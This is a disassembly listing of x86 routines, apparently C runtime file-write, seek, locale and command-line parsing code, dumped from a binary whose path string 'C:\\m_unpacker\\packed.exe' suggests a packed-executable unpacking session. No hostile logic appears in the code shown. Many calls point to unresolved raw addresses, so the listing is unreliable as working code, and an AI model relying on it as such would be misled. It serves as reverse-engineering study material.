		mov	[ebp+var_8], ebx
		jz	short loc_422748
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DAA60[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_42275F
		mov	edx, ecx


loc_422739:				; CODE XREF: sub_4226CD+79j
		cmp	edx, eax
		jnb	short loc_42275F
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_422745
		inc	[ebp+var_8]


loc_422745:				; CODE XREF: sub_4226CD+73j
		inc	edx
		jmp	short loc_422739
; ---------------------------------------------------------------------------


loc_422748:				; CODE XREF: sub_4226CD+50j
		test	dl, 80h
		jnz	short loc_42275F
		mov	dword_4D9714, 16h


loc_422757:				; CODE XREF: sub_4226CD+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422820
; ---------------------------------------------------------------------------


loc_42275F:				; CODE XREF: sub_4226CD+68j
					; sub_4226CD+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_42276D
		mov	eax, [ebp+var_8]
		jmp	loc_422820
; ---------------------------------------------------------------------------


loc_42276D:				; CODE XREF: sub_4226CD+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422818
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_422786
		and	[ebp+var_8], edx
		jmp	loc_422818
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_4226CD+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DAA60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_422812
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4227D9
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4227C4:				; CODE XREF: sub_4226CD+104j
		cmp	eax, ecx
		jnb	short loc_4227D3
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4227D0
		inc	[ebp+arg_0]


loc_4227D0:				; CODE XREF: sub_4226CD+FEj
		inc	eax
		jmp	short loc_4227C4
; ---------------------------------------------------------------------------


loc_4227D3:				; CODE XREF: sub_4226CD+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_42280D
; ---------------------------------------------------------------------------


loc_4227D9:				; CODE XREF: sub_4226CD+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422633
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_422800
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_422800
		test	ch, 4
		jz	short loc_422803


loc_422800:				; CODE XREF: sub_4226CD+124j
					; sub_4226CD+12Cj
		mov	eax, [edi+18h]


loc_422803:				; CODE XREF: sub_4226CD+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_42280D:				; CODE XREF: sub_4226CD+10Aj
		jz	short loc_422812
		inc	[ebp+arg_0]


loc_422812:				; CODE XREF: sub_4226CD+D9j
					; sub_4226CD:loc_42280Dj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422818:				; CODE XREF: sub_4226CD+A4j
					; sub_4226CD+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422820:				; CODE XREF: sub_4226CD+3Cj
					; sub_4226CD+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4226CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422825	proc near		; CODE XREF: sub_41DA54+A2p
					; sub_41E32B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DAB60
		push	esi
		push	edi
		jnb	loc_4229B9
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DAA60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_4229B9
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_422876


loc_42286F:				; CODE XREF: sub_422825+177j
		xor	eax, eax
		jmp	loc_4229CD
; ---------------------------------------------------------------------------


loc_422876:				; CODE XREF: sub_422825+48j
		test	al, 20h
		jz	short loc_422886
		push	2
		push	edi
		push	ecx
		call	sub_422633
		add	esp, 0Ch


loc_422886:				; CODE XREF: sub_422825+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422955
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_42298D


loc_4228A6:				; CODE XREF: sub_422825+F5j
		lea	eax, [ebp+var_414]


loc_4228AC:				; CODE XREF: sub_422825+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4228E0
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4228CB
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4228CB:				; CODE XREF: sub_422825+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4228AC


loc_4228E0:				; CODE XREF: sub_422825+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_42294A
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_42291C
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_4228A6


loc_42291C:				; CODE XREF: sub_422825+EAj
					; sub_422825+12Ej
		xor	edi, edi


loc_42291E:				; CODE XREF: sub_422825+150j
					; sub_422825+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_4229B4
		cmp	[ebp+arg_0], edi
		jz	short loc_42298D
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422982
		mov	dword_4D9714, 9
		mov	dword_4D9718, eax
		jmp	loc_4229CA
; ---------------------------------------------------------------------------


loc_42294A:				; CODE XREF: sub_422825+E0j
		nop
		call	near ptr 26807F9h
		mov	[ebp+arg_0], eax
		jmp	short loc_42291C
; ---------------------------------------------------------------------------


loc_422955:				; CODE XREF: sub_422825+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_422977
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_42291E
; ---------------------------------------------------------------------------


loc_422977:				; CODE XREF: sub_422825+145j
		call	near ptr 26807F9h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_42291E
; ---------------------------------------------------------------------------


loc_422982:				; CODE XREF: sub_422825+10Fj
		push	[ebp+arg_0]
		call	sub_420314
		pop	ecx
		jmp	short loc_4229CA
; ---------------------------------------------------------------------------


loc_42298D:				; CODE XREF: sub_422825+7Bj
					; sub_422825+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_4229A2
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_42286F


loc_4229A2:				; CODE XREF: sub_422825+16Fj
		mov	dword_4D9714, 1Ch
		mov	dword_4D9718, edi
		jmp	short loc_4229CA
; ---------------------------------------------------------------------------


loc_4229B4:				; CODE XREF: sub_422825+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4229CD
; ---------------------------------------------------------------------------


loc_4229B9:				; CODE XREF: sub_422825+15j
					; sub_422825+37j
		and	dword_4D9718, 0
		mov	dword_4D9714, 9


loc_4229CA:				; CODE XREF: sub_422825+120j
					; sub_422825+166j ...
		or	eax, 0FFFFFFFFh


loc_4229CD:				; CODE XREF: sub_422825+4Cj
					; sub_422825+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229D2	proc near		; CODE XREF: sub_41DD4A+47p
					; sub_41DD4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4D97E8, edi
		jnz	short loc_422A48
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427908
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_422A26
		mov	dword_4D97E8, ebx
		jmp	short loc_422A48
; ---------------------------------------------------------------------------


loc_422A26:				; CODE XREF: sub_4229D2+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4C91BC
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	loc_422B60
		mov	dword_4D97E8, 2


loc_422A48:				; CODE XREF: sub_4229D2+2Ej
					; sub_4229D2+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422A5D
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42605C
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422A5D:				; CODE XREF: sub_4229D2+79j
		mov	eax, dword_4D97E8
		cmp	eax, 2
		jnz	short loc_422A84
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_422B62
; ---------------------------------------------------------------------------


loc_422A84:				; CODE XREF: sub_4229D2+93j
		cmp	eax, 1
		jnz	loc_422B60
		cmp	[ebp+arg_18], edi
		jnz	short loc_422A9A
		mov	eax, dword_4D97E0
		mov	[ebp+arg_18], eax


loc_422A9A:				; CODE XREF: sub_4229D2+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 26F0000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422B60
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422AF5
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422AF5:				; CODE XREF: sub_4229D2+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422B60
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_422B60
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422B60
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422B74
		cmp	[ebp+arg_14], edi
		jz	loc_422BEF
		cmp	esi, [ebp+arg_14]
		jg	short loc_422B60
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	loc_422BEF


loc_422B60:				; CODE XREF: sub_4229D2+66j
					; sub_4229D2+B5j ...
		xor	eax, eax


loc_422B62:				; CODE XREF: sub_4229D2+ADj
					; sub_4229D2+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422B74:				; CODE XREF: sub_4229D2+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BA8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422BA8:				; CODE XREF: sub_4229D2+1C2j
		cmp	ebx, edi
		jz	short loc_422B60
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_422B60
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422BCF
		push	edi
		push	edi
		jmp	short loc_422BD5
; ---------------------------------------------------------------------------


loc_422BCF:				; CODE XREF: sub_4229D2+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422BD5:				; CODE XREF: sub_4229D2+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2831071h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422B60


loc_422BEF:				; CODE XREF: sub_4229D2+165j
					; sub_4229D2+188j
		mov	eax, esi
		jmp	loc_422B62
sub_4229D2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422D37
		test	eax, eax
		pop	ecx
		jz	loc_422D2B
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422D2B
		cmp	ebx, 5
		jnz	short loc_422C27
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422D34
; ---------------------------------------------------------------------------


loc_422C27:				; CODE XREF: ___:00422C19j
		cmp	ebx, 1
		jz	loc_422D26
		mov	ecx, dword_4D97EC
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4D97EC, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422D16
		mov	ecx, dword_43ACD0
		mov	edx, dword_43ACD4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422C76
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43AC60h[esi*4]


loc_422C6D:				; CODE XREF: ___:00422C74j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422C6D


loc_422C76:				; CODE XREF: ___:00422C5Fj
		mov	eax, [eax]
		mov	esi, dword_43ACDC
		cmp	eax, 0C000008Eh
		jnz	short loc_422C91
		mov	dword_43ACDC, 83h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422C91:				; CODE XREF: ___:00422C83j
		cmp	eax, 0C0000090h
		jnz	short loc_422CA4
		mov	dword_43ACDC, 81h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422CA4:				; CODE XREF: ___:00422C96j
		cmp	eax, 0C0000091h
		jnz	short loc_422CB7
		mov	dword_43ACDC, 84h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422CB7:				; CODE XREF: ___:00422CA9j
		cmp	eax, 0C0000093h
		jnz	short loc_422CCA
		mov	dword_43ACDC, 85h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422CCA:				; CODE XREF: ___:00422CBCj
		cmp	eax, 0C000008Dh
		jnz	short loc_422CDD
		mov	dword_43ACDC, 82h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422CDD:				; CODE XREF: ___:00422CCFj
		cmp	eax, 0C000008Fh
		jnz	short loc_422CF0
		mov	dword_43ACDC, 86h
		jmp	short loc_422D01
; ---------------------------------------------------------------------------


loc_422CF0:				; CODE XREF: ___:00422CE2j
		cmp	eax, 0C0000092h
		jnz	short loc_422D01
		mov	dword_43ACDC, 8Ah


loc_422D01:				; CODE XREF: ___:00422C8Fj
					; ___:00422CA2j ...
		push	dword_43ACDC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43ACDC, esi
		pop	ecx
		pop	esi
		jmp	short loc_422D1E
; ---------------------------------------------------------------------------


loc_422D16:				; CODE XREF: ___:00422C48j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422D1E:				; CODE XREF: ___:00422D14j
		mov	eax, [ebp+8]
		mov	dword_4D97EC, eax


loc_422D26:				; CODE XREF: ___:00422C2Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_422D34
; ---------------------------------------------------------------------------


loc_422D2B:				; CODE XREF: ___:00422C05j
					; ___:00422C10j
		push	dword ptr [ebp+0Ch]
		call	near ptr 26204A4h
		nop


loc_422D34:				; CODE XREF: ___:00422C22j
					; ___:00422D29j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422D37	proc near		; CODE XREF: ___:00422BFDp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43ACD8
		cmp	dword_43AC58, edx
		push	esi
		mov	eax, offset dword_43AC58
		jz	short loc_422D64
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43AC58h[esi*4]


loc_422D59:				; CODE XREF: sub_422D37+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422D64
		cmp	[eax], edx
		jnz	short loc_422D59


loc_422D64:				; CODE XREF: sub_422D37+16j
					; sub_422D37+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43AC58h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422D77
		cmp	[eax], edx
		jz	short locret_422D79


loc_422D77:				; CODE XREF: sub_422D37+3Aj
		xor	eax, eax

locret_422D79:				; CODE XREF: sub_422D37+3Ej
		retn
sub_422D37	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DADAC, 0
		jnz	short loc_422D88
		call	sub_4201A2


loc_422D88:				; CODE XREF: ___:00422D81j
		push	esi
		mov	esi, dword_4DADA4
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422DBA


loc_422D95:				; CODE XREF: ___:00422DADj
					; ___:00422DB0j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422DB2
		test	al, al
		jz	short loc_422DB2
		movzx	eax, al
		push	eax
		call	sub_424C46
		test	eax, eax
		pop	ecx
		jz	short loc_422D95
		inc	esi
		jmp	short loc_422D95
; ---------------------------------------------------------------------------


loc_422DB2:				; CODE XREF: ___:00422D9Bj
					; ___:00422D9Fj
		cmp	byte ptr [esi],	22h
		jnz	short loc_422DC4


loc_422DB7:				; CODE XREF: ___:00422DCCj
		inc	esi
		jmp	short loc_422DC4
; ---------------------------------------------------------------------------


loc_422DBA:				; CODE XREF: ___:00422D93j
		cmp	al, 20h
		jbe	short loc_422DC4


loc_422DBE:				; CODE XREF: ___:00422DC2j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422DBE


loc_422DC4:				; CODE XREF: ___:00422DB5j
					; ___:00422DB8j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422DCE
		cmp	al, 20h
		jbe	short loc_422DB7


loc_422DCE:				; CODE XREF: ___:00422DC8j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DADAC, ebx
		push	esi
		push	edi
		jnz	short loc_422DE4
		call	sub_4201A2


loc_422DE4:				; CODE XREF: ___:00422DDDj
		mov	esi, dword_4D9788
		xor	edi, edi


loc_422DEC:				; CODE XREF: ___:00422E02j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422E04
		cmp	al, 3Dh
		jz	short loc_422DF7
		inc	edi


loc_422DF7:				; CODE XREF: ___:00422DF4j
		push	esi
		call	sub_41B960
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422DEC
; ---------------------------------------------------------------------------


loc_422E04:				; CODE XREF: ___:00422DF0j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4D973C, esi
		jnz	short loc_422E26
		push	9
		call	sub_41E1C9
		pop	ecx


loc_422E26:				; CODE XREF: ___:00422E1Cj
		mov	edi, dword_4D9788
		cmp	[edi], bl
		jz	short loc_422E69
		push	ebp


loc_422E31:				; CODE XREF: ___:00422E66j
		push	edi
		call	sub_41B960
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422E62
		push	ebp
		call	sub_41BC9B
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422E55
		push	9
		call	sub_41E1C9
		pop	ecx


loc_422E55:				; CODE XREF: ___:00422E4Bj
		push	edi
		push	dword ptr [esi]
		call	sub_41C620
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422E62:				; CODE XREF: ___:00422E3Ej
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422E31
		pop	ebp


loc_422E69:				; CODE XREF: ___:00422E2Ej
		push	dword_4D9788
		call	sub_41BA31
		pop	ecx
		mov	dword_4D9788, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DADA8, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DADAC, ebx
		push	esi
		push	edi
		jnz	short loc_422EA2
		call	sub_4201A2


loc_422EA2:				; CODE XREF: ___:00422E9Bj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2670000h
		nop
		mov	eax, dword_4DADA4
		mov	off_4D974C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422EC7
		mov	edi, eax


loc_422EC7:				; CODE XREF: ___:00422EC3j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_422F24
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BC9B
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422EF7
		push	8
		call	sub_41E1C9
		pop	ecx


loc_422EF7:				; CODE XREF: ___:00422EEDj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_422F24
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4D9734, esi
		pop	edi
		pop	esi
		mov	dword_4D9730, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F24	proc near		; CODE XREF: ___:00422ED2p
					; ___:00422F08p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_422F4E
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_422F4E:				; CODE XREF: sub_422F24+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_422F97


loc_422F53:				; CODE XREF: sub_422F24+58j
					; sub_422F24+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_422F85
		test	dl, dl
		jz	short loc_422F85
		movzx	edx, dl
		test	byte_4DAC81[edx], 4
		jz	short loc_422F78
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422F78
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_422F78:				; CODE XREF: sub_422F24+46j
					; sub_422F24+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422F53
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_422F53
; ---------------------------------------------------------------------------


loc_422F85:				; CODE XREF: sub_422F24+36j
					; sub_422F24+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422F8F
		and	byte ptr [esi],	0
		inc	esi


loc_422F8F:				; CODE XREF: sub_422F24+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_422FDA
		inc	eax
		jmp	short loc_422FDA
; ---------------------------------------------------------------------------


loc_422F97:				; CODE XREF: sub_422F24+2Dj
					; sub_422F24+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422FA2
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_422FA2:				; CODE XREF: sub_422F24+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DAC81[ebx], 4
		jz	short loc_422FBD
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422FBC
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_422FBC:				; CODE XREF: sub_422F24+91j
		inc	eax


loc_422FBD:				; CODE XREF: sub_422F24+8Bj
		cmp	dl, 20h
		jz	short loc_422FCB
		test	dl, dl
		jz	short loc_422FCF
		cmp	dl, 9
		jnz	short loc_422F97


loc_422FCB:				; CODE XREF: sub_422F24+9Cj
		test	dl, dl
		jnz	short loc_422FD2


loc_422FCF:				; CODE XREF: sub_422F24+A0j
		dec	eax
		jmp	short loc_422FDA
; ---------------------------------------------------------------------------


loc_422FD2:				; CODE XREF: sub_422F24+A9j
		test	esi, esi
		jz	short loc_422FDA
		and	byte ptr [esi-1], 0


loc_422FDA:				; CODE XREF: sub_422F24+6Ej
					; sub_422F24+71j ...
		and	[ebp+arg_10], 0


loc_422FDE:				; CODE XREF: sub_422F24+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4230C7


loc_422FE7:				; CODE XREF: sub_422F24+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_422FF3
		cmp	dl, 9
		jnz	short loc_422FF6


loc_422FF3:				; CODE XREF: sub_422F24+C8j
		inc	eax
		jmp	short loc_422FE7
; ---------------------------------------------------------------------------


loc_422FF6:				; CODE XREF: sub_422F24+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4230C7
		test	edi, edi
		jz	short loc_42300B
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42300B:				; CODE XREF: sub_422F24+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423010:				; CODE XREF: sub_422F24+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423019:				; CODE XREF: sub_422F24+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423022
		inc	eax
		inc	ebx
		jmp	short loc_423019
; ---------------------------------------------------------------------------


loc_423022:				; CODE XREF: sub_422F24+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423053
		test	bl, 1
		jnz	short loc_423051
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423040
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423040
		mov	eax, edx
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423040:				; CODE XREF: sub_422F24+10Dj
					; sub_422F24+116j
		mov	[ebp+arg_0], edi


loc_423043:				; CODE XREF: sub_422F24+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
